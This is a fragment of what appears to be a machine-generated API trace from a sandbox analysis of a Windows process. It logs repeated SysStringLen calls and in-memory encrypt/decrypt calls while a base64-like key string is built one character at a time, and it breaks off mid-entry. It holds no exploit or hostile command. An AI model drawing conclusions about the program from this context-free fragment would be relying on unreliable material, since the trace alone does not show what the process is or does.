(param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0138.256] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0138.256] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.256] SysStringLen (param_1="YWM1OT") returned 0x8 [0138.256] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.256] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0138.256] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0138.256] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.256] SysStringLen (param_1="YWM1OTE") returned 0x8 [0138.256] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.256] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0138.257] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0138.257] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.257] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0138.257] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0138.257] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.257] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.257] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0138.257] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0138.257] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.257] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0138.257] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.257] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0138.257] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0138.257] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.257] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0138.257] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.258] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0138.258] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0138.258] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.258] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0138.258] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.258] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0138.258] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0138.258] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.258] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0138.258] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.258] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0138.258] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0138.258] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.258] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0138.258] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.258] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0138.259] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0138.259] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.259] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0138.259] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.259] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0138.259] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0138.259] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.259] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0138.259] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.259] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0138.259] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0138.259] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.259] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0138.259] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0138.259] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.259] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.259] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0138.260] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0138.260] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.260] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0138.260] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.260] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0138.260] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0138.260] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.260] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0138.260] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.260] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0138.260] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0138.260] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.260] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0138.260] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.260] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0138.260] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0138.261] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.261] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0138.261] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.261] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0138.261] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0138.261] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.261] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0138.261] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.261] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0138.261] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0138.261] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.261] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0138.261] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.261] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0138.261] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0138.261] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.261] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0138.261] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.261] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0138.262] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0138.262] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.262] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0138.262] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0138.262] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.262] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.262] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0138.262] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0138.262] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.262] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0138.262] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.262] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0138.262] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0138.262] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.262] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0138.262] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0138.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0138.263] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.263] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0138.263] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0138.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0138.263] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.263] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0138.263] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0138.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0138.263] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.263] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0138.263] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0138.263] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0138.263] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.264] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0138.264] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0138.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0138.264] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.264] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0138.264] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0138.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0138.264] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.264] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0138.264] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0138.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0138.264] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0138.264] SystemFunction041 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.264] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0138.264] SystemFunction040 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0138.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0138.265] SystemFunction041 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.265] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0138.265] SystemFunction040 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0138.265] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0138.265] SystemFunction041 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.265] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0138.265] SystemFunction040 (in: Memory=0x8ec01dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ec01dc) returned 0x0 [0138.265] SysStringLen 